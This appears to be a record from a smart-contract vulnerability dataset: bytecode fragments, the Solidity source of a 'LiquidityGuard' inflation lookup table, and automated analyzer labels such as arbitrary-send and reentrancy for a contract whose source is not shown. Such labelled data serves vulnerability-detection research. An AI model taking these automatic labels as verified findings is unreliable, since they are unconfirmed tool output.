114d78583611c41565b146114585760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c4565b600061145883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116f5565b60008061157d8385611b65565b9050838110156114585760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c4565b80806115dd576115dd611723565b6000806000806115ec8761173f565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116199085611786565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116489084611570565b6001600160a01b03891660009081526001602052604090205561166a816117c8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116af91815260200190565b60405180910390a350505050806116cb576116cb600954600855565b5050505050565b60008060006116df611812565b90925090506116ee828261152e565b9250505090565b600081836117165760405162461bcd60e51b81526004016104c491906118b8565b5060006113d28486611c41565b60006008541161173257600080fd5b6008805460095560009055565b60008060008060008061175487600854611852565b9150915060006117626116d2565b90506000806117728a858561187f565b909b909a5094985092965092945050505050565b600061145883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113a1565b60006117d26116d2565b905060006117e083836114af565b306000908152600160205260409020549091506117fd9082611570565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a764000061182d828261152e565b82101561184957505060065492670de0b6b3a764000092509050565b90939092509050565b6000808061186560646112a287876114af565b905060006118738683611786565b96919550909350505050565b6000808061188d86856114af565b9050600061189b86866114af565b905060006118a98383611786565b92989297509195505050505050565b600060208083528351808285015260005b818110156118e5578581018301518582016040015282016118c9565b818111156118f7576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e357600080fd5b803561192d8161190d565b919050565b6000806040838503121561194557600080fd5b82356119508161190d565b946020939093013593505050565b60008060006060848603121561197357600080fd5b833561197e8161190d565b9250602084013561198e8161190d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119c857600080fd5b823567ffffffffffffffff808211156119e057600080fd5b818501915085601f8301126119f457600080fd5b813581811115611a0657611a0661199f565b8060051b604051601f19603f83011681018181108582111715611a2b57611a2b61199f565b604052918252848201925083810185019188831115611a4957600080fd5b938501935b82851015611a6e57611a5f85611922565b84529385019392850192611a4e565b98975050505050505050565b600060208284031215611a8c57600080fd5b81356114588161190d565b60008060408385031215611aaa57600080fd5b8235611ab58161190d565b91506020830135611ac58161190d565b809150509250929050565b600060208284031215611ae257600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b5e57611b5e611b34565b5060010190565b60008219821115611b7857611b78611b34565b500190565b600060208284031215611b8f57600080fd5b81516114588161190d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bea5784516001600160a01b031683529383019391830191600101611bc5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c1d57611c1d611b34565b500390565b6000816000190483118215151615611c3c57611c3c611b34565b500290565b600082611c5e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b5f2112d322e8edb49407926b439f261393e1020e1a9bac8bd12de91d385ed3f64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,069
0x25fed8e81026c686ba20aa340e536cd45c9d7e7a
/** *Submitted for verification at Etherscan.io on 2020-12-18 */ // SPDX-License-Identifier: --🥺-- pragma solidity =0.7.0; contract LiquidityGuard { mapping (uint32 => uint256) InflationLN; bool isReady; function getInflation(uint32 _amount) external view returns (uint256) { return InflationLN[_amount]; } /* for (let i = 1; i <= 500; i++) { console.log( `InflationLN[${100000+i*6}] = `, parseInt(1 / (Math.exp(Math.log(1 + 0.00006 * i) / 365) - 1) * 10000) ); } */ // 0.006% liquidityRate step increase; constructor() { InflationLN[100000] = 60835153328; InflationLN[100006] = 60835153328; InflationLN[100012] = 30418486635; InflationLN[100018] = 20279597719; InflationLN[100024] = 15210153257; InflationLN[100030] = 12168486576; InflationLN[100036] = 10140708779; InflationLN[100042] = 8692296062; InflationLN[100048] = 7605986520; InflationLN[100054] = 6761079095; InflationLN[100060] = 6085153150; InflationLN[100066] = 5532122829; InflationLN[100072] = 5071264225; InflationLN[100078] = 4681306942; InflationLN[100084] = 4347057839; InflationLN[100090] = 4057375282; InflationLN[100096] = 3803903041; InflationLN[100102] = 3580251062; InflationLN[100108] = 3381449301; InflationLN[100114] = 3203574039; InflationLN[100120] = 3043486301; InflationLN[100126] = 2898645013; InflationLN[100132] = 2766971113; InflationLN[100138] = 2646747116; InflationLN[100144] = 2536541784; InflationLN[100150] = 2435152877; InflationLN[100156] = 2341563115; InflationLN[100162] = 2254905927; InflationLN[100168] = 2174438537; InflationLN[100174] = 2099520620; InflationLN[100180] = 2029597230; InflationLN[100186] = 1964185026; InflationLN[100192] = 1902861083; InflationLN[100198] = 1845253741; InflationLN[100204] = 1791035066; InflationLN[100210] = 1739914600; InflationLN[100216] = 1691634158; InflationLN[100222] = 1645963469; InflationLN[100228] = 1602696500; InflationLN[100234] = 1561648348; InflationLN[100240] = 1522652604; InflationLN[100246] = 1485559090; InflationLN[100252] = 1450231932; InflationLN[100258] = 1416547898; InflationLN[100264] = 1384394955; InflationLN[100270] = 1353671031; InflationLN[100276] = 1324282929; InflationLN[100282] = 1296145384; InflationLN[100288] = 1269180236; InflationLN[100294] = 1243315705; InflationLN[100300] = 1218485755; InflationLN[100306] = 1194629528; InflationLN[100312] = 1171690847; InflationLN[100318] = 1149617776; InflationLN[100324] = 1128362225; InflationLN[100330] = 1107879603; InflationLN[100336] = 1088128503; InflationLN[100342] = 1069070423; InflationLN[100348] = 1050669518; InflationLN[100354] = 1032892371; InflationLN[100360] = 1015707795; InflationLN[100366] = 999086648; InflationLN[100372] = 983001666; InflationLN[100378] = 967427318; InflationLN[100384] = 952339667; InflationLN[100390] = 937716251; InflationLN[100396] = 923535969; InflationLN[100402] = 909778978; InflationLN[100408] = 896426604; InflationLN[100414] = 883461255; InflationLN[100420] = 870866344; InflationLN[100426] = 858626218; InflationLN[100432] = 846726096; InflationLN[100438] = 835152004; InflationLN[100444] = 823890724; InflationLN[100450] = 812929745; InflationLN[100456] = 802257212; InflationLN[100462] = 791861888; InflationLN[100468] = 781733109; InflationLN[100474] = 771860755; InflationLN[100480] = 762235210; InflationLN[100486] = 752847331; InflationLN[100492] = 743688425; InflationLN[100498] = 734750215; InflationLN[100504] = 726024820; InflationLN[100510] = 717504727; InflationLN[100516] = 709182775; InflationLN[100522] = 701052132; InflationLN[100528] = 693106277; InflationLN[100534] = 685338979; InflationLN[100540] = 677744287; InflationLN[100546] = 670316512; InflationLN[100552] = 663050209; InflationLN[100558] = 655940171; InflationLN[100564] = 648981409; InflationLN[100570] = 642169148; InflationLN[100576] = 635498808; InflationLN[100582] = 628966001; InflationLN[100588] = 622566516; InflationLN[100594] = 616296313; InflationLN[100600] = 610151513; InflationLN[100606] = 604128393; InflationLN[100612] = 598223372; InflationLN[100618] = 592433012; InflationLN[100624] = 586754005; InflationLN[100630] = 581183169; InflationLN[100636] = 575717442; InflationLN[100642] = 570353879; InflationLN[100648] = 565089640; InflationLN[100654] = 559921992; InflationLN[100660] = 554848302; InflationLN[100666] = 549866029; InflationLN[100672] = 544972724; InflationLN[100678] = 540166027; InflationLN[100684] = 535443657; InflationLN[100690] = 530803415; InflationLN[100696] = 526243177; InflationLN[100702] = 521760892; InflationLN[100708] = 517354577; InflationLN[100714] = 513022317; InflationLN[100720] = 508762262; InflationLN[100726] = 504572620; InflationLN[100732] = 500451661; InflationLN[100738] = 496397709; InflationLN[100744] = 492409143; InflationLN[100750] = 488484393; InflationLN[100756] = 484621941; InflationLN[100762] = 480820315; InflationLN[100768] = 477078089; InflationLN[100774] = 473393882; InflationLN[100780] = 469766354; InflationLN[100786] = 466194208; InflationLN[100792] = 462676186; InflationLN[100798] = 459211066; InflationLN[100804] = 455797663; InflationLN[100810] = 452434830; InflationLN[100816] = 449121449; InflationLN[100822] = 445856439; InflationLN[100828] = 442638747; InflationLN[100834] = 439467353; InflationLN[100840] = 436341265; InflationLN[100846] = 433259517; InflationLN[100852] = 430221175; InflationLN[100858] = 427225326; InflationLN[100864] = 424271087; InflationLN[100870] = 421357595; InflationLN[100876] = 418484013; InflationLN[100882] = 415649528; InflationLN[100888] = 412853346; InflationLN[100894] = 410094697; InflationLN[100900] = 407372830; InflationLN[100906] = 404687013; InflationLN[100912] = 402036536; InflationLN[100918] = 399420706; InflationLN[100924] = 396838847; InflationLN[100930] = 394290302; InflationLN[100936] = 391774431; InflationLN[100942] = 389290608; InflationLN[100948] = 386838227; InflationLN[100954] = 384416692; InflationLN[100960] = 382025427; InflationLN[100966] = 379663866; InflationLN[100972] = 377331461; InflationLN[100978] = 375027673; InflationLN[100984] = 372751981; InflationLN[100990] = 370503872; InflationLN[100996] = 368282848; InflationLN[101000] = 366816973; InflationLN[101002] = 366088424; InflationLN[101008] = 363920123; InflationLN[101014] = 361777483; InflationLN[101020] = 359660050; InflationLN[101026] = 357567382; InflationLN[101032] = 355499047; InflationLN[101038] = 353454623; InflationLN[101044] = 351433699; InflationLN[101050] = 349435870; InflationLN[101056] = 347460744; InflationLN[101062] = 345507935; InflationLN[101068] = 343577068; InflationLN[101074] = 341667774; InflationLN[101080] = 339779695; InflationLN[101086] = 337912478; InflationLN[101092] = 336065780; InflationLN[101098] = 334239265; InflationLN[101104] = 332432602; InflationLN[101110] = 330645471; InflationLN[101116] = 328877556; InflationLN[101122] = 327128549; InflationLN[101128] = 325398148; InflationLN[101134] = 323686058; InflationLN[101140] = 321991990; InflationLN[101146] = 320315661; InflationLN[101152] = 318656793; InflationLN[101158] = 317015116; InflationLN[101164] = 315390363; InflationLN[101170] = 313782273; InflationLN[101176] = 312190593; InflationLN[101182] = 310615072; InflationLN[101188] = 309055465; InflationLN[101194] = 307511532; InflationLN[101200] = 305983038; InflationLN[101206] = 304469753; InflationLN[101212] = 302971451; InflationLN[101218] = 301487910; InflationLN[101224] = 300018914; InflationLN[101230] = 298564249; InflationLN[101236] = 297123706; InflationLN[101242] = 295697082; InflationLN[101248] = 294284176; InflationLN[101254] = 292884790; InflationLN[101260] = 291498731; InflationLN[101266] = 290125810; InflationLN[101272] = 288765840; InflationLN[101278] = 287418641; InflationLN[101284] = 286084032; InflationLN[101290] = 284761837; InflationLN[101296] = 283451885; InflationLN[101302] = 282154006; InflationLN[101308] = 280868035; InflationLN[101314] = 279593807; } function assignInflation() external { require( isReady == false, "LiquidityGuard: amounts already defined" ); isReady = true; InflationLN[101320] = 278331162; InflationLN[101326] = 277079945; InflationLN[101332] = 275839999; InflationLN[101338] = 274611174; InflationLN[101344] = 273393320; InflationLN[101350] = 272186291; InflationLN[101356] = 270989944; InflationLN[101362] = 269804137; InflationLN[101368] = 268628732; InflationLN[101374] = 267463593; InflationLN[101380] = 266308584; InflationLN[101386] = 265163576; InflationLN[101392] = 264028438; InflationLN[101398] = 262903044; InflationLN[101404] = 261787269; InflationLN[101410] = 260680989; InflationLN[101416] = 259584084; InflationLN[101422] = 258496436; InflationLN[101428] = 257417928; InflationLN[101434] = 256348444; InflationLN[101440] = 255287873; InflationLN[101446] = 254236103; InflationLN[101452] = 253193025; InflationLN[101458] = 252158532; InflationLN[101464] = 251132519; InflationLN[101470] = 250114881; InflationLN[101476] = 249105516; InflationLN[101482] = 248104324; InflationLN[101488] = 247111206; InflationLN[101494] = 246126065; InflationLN[101500] = 245148804; InflationLN[101506] = 244179331; InflationLN[101512] = 243217551; InflationLN[101518] = 242263375; InflationLN[101524] = 241316711; InflationLN[101530] = 240377473; InflationLN[101536] = 239445571; InflationLN[101542] = 238520922; InflationLN[101548] = 237603441; InflationLN[101554] = 236693044; InflationLN[101560] = 235789650; InflationLN[101566] = 234893179; InflationLN[101572] = 234003550; InflationLN[101578] = 233120687; InflationLN[101584] = 232244512; InflationLN[101590] = 231374950; InflationLN[101596] = 230511925; InflationLN[101602] = 229655365; InflationLN[101608] = 228805197; InflationLN[101614] = 227961350; InflationLN[101620] = 227123754; InflationLN[101626] = 226292338; InflationLN[101632] = 225467036; InflationLN[101638] = 224647781; InflationLN[101644] = 223834504; InflationLN[101650] = 223027143; InflationLN[101656] = 222225632; InflationLN[101662] = 221429908; InflationLN[101668] = 220639908; InflationLN[101674] = 219855571; InflationLN[101680] = 219076837; InflationLN[101686] = 218303645; InflationLN[101692] = 217535936; InflationLN[101698] = 216773653; InflationLN[101704] = 216016738; InflationLN[101710] = 215265135; InflationLN[101716] = 214518787; InflationLN[101722] = 213777640; InflationLN[101728] = 213041640; InflationLN[101734] = 212310734; InflationLN[101740] = 211584868; InflationLN[101746] = 210863990; InflationLN[101752] = 210148050; InflationLN[101758] = 209436997; InflationLN[101764] = 208730781; InflationLN[101770] = 208029352; InflationLN[101776] = 207332663; InflationLN[101782] = 206640665; InflationLN[101788] = 205953312; InflationLN[101794] = 205270556; InflationLN[101800] = 204592351; InflationLN[101806] = 203918653; InflationLN[101812] = 203249416; InflationLN[101818] = 202584596; InflationLN[101824] = 201924151; InflationLN[101830] = 201268036; InflationLN[101836] = 200616209; InflationLN[101842] = 199968628; InflationLN[101848] = 199325252; InflationLN[101854] = 198686041; InflationLN[101860] = 198050953; InflationLN[101866] = 197419950; InflationLN[101872] = 196792991; InflationLN[101878] = 196170038; InflationLN[101884] = 195551053; InflationLN[101890] = 194935998; InflationLN[101896] = 194324835; InflationLN[101902] = 193717528; InflationLN[101908] = 193114041; InflationLN[101914] = 192514337; InflationLN[101920] = 191918382; InflationLN[101926] = 191326139; InflationLN[101932] = 190737575; InflationLN[101938] = 190152655; InflationLN[101944] = 189571345; InflationLN[101950] = 188993613; InflationLN[101956] = 188419424; InflationLN[101962] = 187848748; InflationLN[101968] = 187281551; InflationLN[101974] = 186717803; InflationLN[101980] = 186157470; InflationLN[101986] = 185600524; InflationLN[101992] = 185046932; InflationLN[101998] = 184496665; InflationLN[102004] = 183949693; InflationLN[102010] = 183405986; InflationLN[102016] = 182865516; InflationLN[102022] = 182328253; InflationLN[102028] = 181794169; InflationLN[102034] = 181263236; InflationLN[102040] = 180735426; InflationLN[102046] = 180210711; InflationLN[102052] = 179689065; InflationLN[102058] = 179170460; InflationLN[102064] = 178654871; InflationLN[102070] = 178142270; InflationLN[102076] = 177632632; InflationLN[102082] = 177125932; InflationLN[102088] = 176622143; InflationLN[102094] = 176121241; InflationLN[102100] = 175623202; InflationLN[102106] = 175128000; InflationLN[102112] = 174635612; InflationLN[102118] = 174146014; InflationLN[102124] = 173659181; InflationLN[102130] = 173175091; InflationLN[102136] = 172693721; InflationLN[102142] = 172215047; InflationLN[102148] = 171739047; InflationLN[102154] = 171265699; InflationLN[102160] = 170794981; InflationLN[102166] = 170326870; InflationLN[102172] = 169861346; InflationLN[102178] = 169398386; InflationLN[102184] = 168937970; InflationLN[102190] = 168480077; InflationLN[102196] = 168024686; InflationLN[102202] = 167571776; InflationLN[102208] = 167121328; InflationLN[102214] = 166673321; InflationLN[102220] = 166227735; InflationLN[102226] = 165784552; InflationLN[102232] = 165343751; InflationLN[102238] = 164905314; InflationLN[102244] = 164469221; InflationLN[102250] = 164035454; InflationLN[102256] = 163603994; InflationLN[102262] = 163174823; InflationLN[102268] = 162747922; InflationLN[102274] = 162323275; InflationLN[102280] = 161900862; InflationLN[102286] = 161480666; InflationLN[102292] = 161062671; InflationLN[102298] = 160646857; InflationLN[102304] = 160233210; InflationLN[102310] = 159821711; InflationLN[102316] = 159412345; InflationLN[102322] = 159005093; InflationLN[102328] = 158599941; InflationLN[102334] = 158196872; InflationLN[102340] = 157795870; InflationLN[102346] = 157396919; InflationLN[102352] = 157000003; InflationLN[102358] = 156605107; InflationLN[102364] = 156212216; InflationLN[102370] = 155821314; InflationLN[102376] = 155432386; InflationLN[102382] = 155045417; InflationLN[102388] = 154660393; InflationLN[102394] = 154277298; InflationLN[102400] = 153896119; InflationLN[102406] = 153516841; InflationLN[102412] = 153139450; InflationLN[102418] = 152763932; InflationLN[102424] = 152390272; InflationLN[102430] = 152018458; InflationLN[102436] = 151648475; InflationLN[102442] = 151280311; InflationLN[102448] = 150913950; InflationLN[102454] = 150549382; InflationLN[102460] = 150186591; InflationLN[102466] = 149825566; InflationLN[102472] = 149466294; InflationLN[102478] = 149108761; InflationLN[102484] = 148752955; InflationLN[102490] = 148398864; InflationLN[102496] = 148046475; InflationLN[102502] = 147695776; InflationLN[102508] = 147346755; InflationLN[102514] = 146999400; InflationLN[102520] = 146653699; InflationLN[102526] = 146309641; InflationLN[102532] = 145967212; InflationLN[102538] = 145626403; InflationLN[102544] = 145287201; InflationLN[102550] = 144949596; InflationLN[102556] = 144613575; InflationLN[102562] = 144279128; InflationLN[102568] = 143946244; InflationLN[102574] = 143614911; InflationLN[102580] = 143285120; InflationLN[102586] = 142956859; InflationLN[102592] = 142630117; InflationLN[102598] = 142304885; InflationLN[102604] = 141981151; InflationLN[102610] = 141658906; InflationLN[102616] = 141338139; InflationLN[102622] = 141018840; InflationLN[102628] = 140700998; InflationLN[102634] = 140384605; InflationLN[102640] = 140069650; InflationLN[102646] = 139756123; InflationLN[102652] = 139444014; InflationLN[102658] = 139133315; InflationLN[102664] = 138824015; InflationLN[102670] = 138516105; InflationLN[102676] = 138209576; InflationLN[102682] = 137904418; InflationLN[102688] = 137600622; InflationLN[102694] = 137298180; InflationLN[102700] = 136997081; InflationLN[102706] = 136697318; InflationLN[102712] = 136398881; InflationLN[102718] = 136101762; InflationLN[102724] = 135805951; InflationLN[102730] = 135511441; InflationLN[102736] = 135218222; InflationLN[102742] = 134926287; InflationLN[102748] = 134635626; InflationLN[102754] = 134346231; InflationLN[102760] = 134058095; InflationLN[102766] = 133771209; InflationLN[102772] = 133485565; InflationLN[102778] = 133201154; InflationLN[102784] = 132917969; InflationLN[102790] = 132636002; InflationLN[102796] = 132355246; InflationLN[102802] = 132075691; InflationLN[102808] = 131797331; InflationLN[102814] = 131520158; InflationLN[102820] = 131244165; InflationLN[102826] = 130969343; InflationLN[102832] = 130695686; InflationLN[102838] = 130423186; InflationLN[102844] = 130151836; InflationLN[102850] = 129881628; InflationLN[102856] = 129612555; InflationLN[102862] = 129344610; InflationLN[102868] = 129077787; InflationLN[102874] = 128812077; InflationLN[102880] = 128547475; InflationLN[102886] = 128283972; InflationLN[102892] = 128021563; InflationLN[102898] = 127760241; InflationLN[102904] = 127499998; InflationLN[102910] = 127240828; InflationLN[102916] = 126982725; InflationLN[102922] = 126725681; InflationLN[102928] = 126469692; InflationLN[102934] = 126214749; InflationLN[102940] = 125960846; InflationLN[102946] = 125707978; InflationLN[102952] = 125456137; InflationLN[102958] = 125205318; InflationLN[102964] = 124955515; InflationLN[102970] = 124706720; InflationLN[102976] = 124458929; InflationLN[102982] = 124212135; InflationLN[102988] = 123966332; InflationLN[102994] = 123721514; InflationLN[103000] = 123477676; } }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c806316cf45101461003b57806330550a4b14610045575b600080fd5b61004361007a565b005b6100686004803603602081101561005b57600080fd5b503563ffffffff16612ba3565b60408051918252519081900360200190f35b60015460ff16156100bc5760405162461bcd60e51b8152600401808060200182810382526027815260200180612bbc6027913960400191505060405180910390fd5b6001805460ff19168117905560006020819052631096ff1a7f4e27d76db65a57b63913a330c3d66aad3779e56c9995715a1c3bb351e90a7ba855631083e7897f2f9660e57fb433a38306e521154221c5763a636f5bdf4250e5601e797bea322555631070fbff7f79022f63de99732fc266edb0068f9eb34879d2c016b543b2973191a64f10785d5563105e3be67f4fc7d60adad103dc9b4d0571ef56de2789780e1f3f70599196ac25c2e1cdbf885563104ba6a87fc5724fddf0f5b694daca367fcff4ae51d92e5f625ee88e4f6730913f33798d4f556310393bb37f1926e0e8e12b23e34833f3d1cc427b8c57ba55d872e828a1b9108e734ec0a93655631026fa787feb496280b74ae4a530c39045dc87eecb26a1528bbf6988c31cf39f23b53e17e855631014e2697f68b7d2a78178218763120153b385691af2fb5b5081347670392da1d6d5decca455631002f2fc7e43ab6644f5f7e300295f34c668ac21f2e765adf0af472ce907af3a23b0027955630ff12ba97f8942d0190ffaef49f100abce3b92f0a2e796d815f49d0d1f4062dc9ab6d3471555630fdf8be87fc4c48fcf3b2648b800a3628d835f5d5a1edeb94306714f340f5d1099ed606c4d55630fce13387ff94aa53c14c79ed003dbb04d3ebb5e106c2cd063cccdf3f2061281854e3be82155630fbcc1167f5ddbbe8d280fc458903b6089987b3a1037662fc6f65f6fd62e83a923c2c64dab55630fab95047fa715c5f0381dac66322d0916659c4d171c7b936bc50f2927bf7505e38578151955630f9a8e857f80b2adc40636a916006f4e4690fc4d5e378e0e7eb402b580c5a645c8c3642e4c55630f89ad1d7f723625df73601eb8e758934efd65e0edaf02b62d8fe761eb1183781bbc41ea2e55630f78f0547f7ccaec60de462389a752127cc4c6f4384a3f283adb37d8c51c10d14e8f1c9b3b55630f6857b47f6d1c4c24eae118e5d460719ba99e7eb8b92f66261059a796eccfe2e9aa0c601b55630f57e2c87f3aaa4ca78bf3e3aababcefc9f99606c23b62b65f9e437203773309784266348c55630f47911c7fff090d909fb8c4b8d3c3c4b040bef545e0b788634fe0c817706e1bd7e8ddaae855630f3762417fd8cfb7a2b606ed09eec3be039bd1ee88a5ae9a0dde8b68c43c99e2ae40bfce5755630f2755c77f064549b65f53508fc129303259ba8b0392a7b8628c89c6c0ceef33cf2f11a26555630f176b417fab0bb1ea877a04e4298858aa2baf2d49f61799bcace2710e38aee27768f4c17e55630f07a2447f865283e19c47591968685f7ea8d3681498ee1a71f238716c3a1a785fd76688f555630ef7fa677fad604a175e47499284355d344832013c9bf3c1f401364283eb8465d43fe28d7c55630ee873417f832da131049e4a1dd3bfe2e3e9cd6cd81f7617adb5b5075ed7cd8e6b844bd37c55630ed90c6c7fd96e29aaad1aa406514694a00819ce0adad5a776b193b603b78979e055d12c7755630ec9c5847f758cfc6bd2d2bba0aef24c1a810e29d66c06f76dfac93284a6fa61560d01c77a55630eba9e267f9c173a14404e13351eb817125e0de678d4db899107b8187159f887482b8ef8af55630eab95f17f282ecb8168c32a64ddbc7a83d8d92391ca6ed2ba4d00ed265b07691addc5776c55630e9cac847ffe2cb4aea5d2300320369089199dfa2c33bc917b7036904ecc85f010deab8d5e55630e8de1837f05b4118a8a9724e79f234330ce673cc4443b8aff0d3d12057a321ba4cfc3e8c355630e7f348f7f27a54ffe1a6a8fcc2fa8e513998d7a7c6f3e8881cd8db4653cfe85b906c7b99355630e70a54f7fcd7a03e78db155675960e4d079a2740c448d004af97707e8b72e4b2a736a46f055630e6233677fdaa67cf8a3418f2a43da6a66666786de8e01dc4da8562db423ce6ededb6250b655630e53de817fd7e0eda2ef9872f50ffb6d74630101d3f93104ea6096f164262378324ce8823355630e45a6437fa699b36f182d1cf36f7de85b7091b73e13657dd2c271c30bdde6804860ac829a55630e378a5a7ff4de3b3bcec6bb690f3e1db86bb98686de8d0d3a3cdacbe620f0e8a236bc249255630e298a717f1509a8de2f8aed484de5b1e7bbc2647f52c40cb3a3092638cfca686d71f604c755630e1ba6347f7d38d1303c6a32d43b1ed0ba02d422338a1169a72bb6dd8d02478d7cb0e2334255630e0ddd527f4b74dc4be1368ea56f6a83110567083f67ba8f4a2f9161f828cdd6f382ddca2555630e002f7b7fb694ff45a972f83fffe269ed8c8e1a93fa8472934e6ea8f42808ae946dbfa43a55630df29c5e7f464f31df012dd61cf26be8b5edec3af73b878bfe42478a2ac6935df8f1b4c79e55630de523af7f6c65897567f248b76228be3a469c8745c56d687e43b38011968d43af68ebb4f755630dd7c5207f30acf0ec070aec408eda6bd352e7f760b09b98a8d55a906bc4e7a3d6c747725d55630dca80667faa6fe5b58e67b44acec4c601e90d5b1ed319994bbd3051f2f2d347e0f97e836d55630dbd55357fdad158cdbd62abe79b4c93f9b4f9697b59299224fa67473f021d5dcf55d1390755630db043457ffb08f91d615b0c64d0ae61253e98b58ac91f88694cb8d6c6377e1b9339269c1e55630da34a4d7f62907d736a2f19ef8c6d27842f6d0c0349f7d9698444960ca42038e759ad4f8f55630d966a067f0472527b30f16bfa6bea07ea60dcd9696d138d9d07d633a29d9e59fd780e69d655630d89a22a7ff66786bfae00b51513091aee7f74cb5961623633cfca12c614375a8bdf9e014f55630d7cf2727fb4f67d599abd06aba3fef28c743e532e33be15947a2af8dfbc4a1f27962112d355630d705a9c7ed91b50fb474a464362c9a7f0d986386a5376d7986c2c25d963e4c224985d9955630d63da657f305ad1759453a021ef024f0437f7ecf62e917fdd232c2a2c8798a5dbb7390b4055630d5771887f8a180e6220e97bb7b556dbf6b00b88b646a6da3ba4187f9f681538a8a4b040ce55630d4b1fc77f8ea2b2186352300456cd36715040ead525c3908f3ce4612bd5cfcd327162d87a55630d3ee4e07fa1dba6010a26f9724e0d04eca0b1d78eedb20cf528f835822727c3acafe9b95e55630d32c0947f19647e3df51bbc62ce85e027743eb3355f20b2879addb0af86ad3e9d376d232055630d26b2a47fa94a6802640a45b08023a54c78fbc01d323f43c31196d23d799687caa181e23655630d1abad37f0cb0d7397f27fc4d75d8d2273048ded73aba0cd2e0bfe4a8f6b1ecfef93c118b55630d0ed8e57f78c9c8c4c67cfaae8aa0a94741b00aa98bebf0df5b714c25a97b1e80902f607e55630d030c9d7fe6e41eef193a3f23ec23c41fcc0f19afbaed51b13ce18716994451c5fb61a1a055630cf755c07fb1b3fc02d9dbf7425a41b15eda2692aca45f6d911072cb510c32011aebb4cf8955630cebb4157f0664bb4f4461f47a77334a6c8e491986b68a6b4bc9f7187ff10f1c995262d5c455630ce027627fb2b9af0d515d8cc9eec597075484f5cad1f0e673812b7e339dc158db929e28a055630cd4af6f7fcdfc15b474bf46574ffe2f3713dc1572fd01c75425488365a59e46b0bfc5120255630cc94c037fafd1192207844ba9bc251c52ad584ca9a186d200bf6bf4060e9d5848bb87d1bd55630cbdfce87f1381ec716e98c2bb664a3ea0819d61083f8a7f8c7ded606892b5884b2fa2b31955630cb2c1e87f0c9ab90ed10d93f0ff136cc9886c4c1640f60be70947b8bf46c3ff6fff15f94155630ca79ace7ff05fdf3ccb74cd24fac6acd5651aee3ff7668c1aeea0971dcb98d8f6c6b061a455630c9c87647fc28cd9075b4416e52fcd3ef2ae260f6fb4edf2a1526db721ba5297393f18f55a55630c9187767f26ce97fe226eb52b10f95cafe1d01f12b71522a9827998986e5edcd596c6ecb555630c869ad27fc20949026c1eb0480fd86696a2d1717c9b8d6de6be0ab512b16b6779c515469755630c7bc1457fe4c3358c51acdaf1c640adc8fea1c120bf9772863387c9f72c8a7cec88f6950355630c70fa9d7f829155e316c1b0701073986e915fa0b1d749098726df28702c0411064a97633355630c6646a87f9d0ddef3c243b618f74290f861fb9fe8c1cebf46e9e3015d473eaf33f7a7ef9555630c5ba5377f936f0dbb12566c24c94c104c8544df8ab69c42eaa43e75ecbd9db5399f69dde855630c5116197f42457ee398e5fe837c167a0c368270bd4a54d35880f99a6a3fe221118db9794855630c4699207fd3f6f2800f5e95a86d7ce66c59cf5e468ab5a3247cfa70aeff90df7a90dd6ad255630c3c2e1c7f68204c5a61b27be14da09c75fde96e835b491f38d7bdee6745a07de0452e5b6a55630c31d4df7f8f8f8fe8fe93cf79f40242a76a776ba77375112650b6d14151ccc33cb42d6f0555630c278d3d7fae60a8d268aaa95adec9dcf0901a8c2ecfa7925b6b833ea8d7f2f140bf70e7f655630c1d57087f265ba957bf23a9ffbe6da31b6ff629af7dc2225c6376d19778a1c4e6cdea413d55630c1332147febfc366dd1e2bcbdf070431a1857cb18a3fa720382425d86b5ea44fac971f23855630c091e377f2fb1eb53c2f622a38679427d55baa68e534459ff45d10087ba8b988bc46467d255630bff1b447f5a48be72e1818336d9d42ea1a2cd1730c6883e646a8ac6fd0347e7a8c08e8d1a55630bf529117f30afe22a2c6161c8bf92fda2d810e3329b69d52474374ce7868e112d34db795d55630beb47747fca0155e03bf3e249c51618025c2e9be245ae577b8304b6b578d362fa3858160755630be176447fe88ccb61802501bc05fa566bbedec06d058141b543616aeaa3635ed2aa5387ef55630bd7b5597f42acdd0b6211b86365d3607b59b448ffc3ce5ab3be593380da313d299347430055630bce04897f69ba35b895b4d7b764d8e1bc20ded01344266cd1626bab7511a6fe95dda62c5055630bc463ae7fe0fc4ea1f51d04133f0481f748efb98d3d83b6427e6bf2c0d134e370f659edd755630bbad29f7f02b04714efa6c259d656b7d064e8b39995f8f11c4dbbdf8ad8eb9a2de838008655630bb151367fc3b32f020a12d474b1eaa058d12a651a930992d818d7b4ec97c5bc60cd16143155630ba7df4d7fba15ae5c2f3b6f9d91a1ebec8fc317c91698265820eb873c2690af0d834c8a7355630b9e7cbe7f58f61e46aa8aa0d3fd4786f3f44e1fa4252115c635121d0abb9b71e37080784555630b9529637f4cf39bc02fb757cb11e09f1177c06516b8480e6e2723bb4bb59ed59dcfabdefb55630b8be5187f65f54cf5c722542ee71add3937eed0f3271d502b39c4e993792e68308134086a55630b82afb97f9d86b5ad8fc2b5e1928779233965fe5709ad99880d41ad10a94091eef9b7d48e55630b7989217f7b8417a84a4ef436b63676370319d1b43de7d05a891c84f8f6998c5823d8d74355630b70712e7fa2d1dabb9bfa1de83a7fe7c0d0324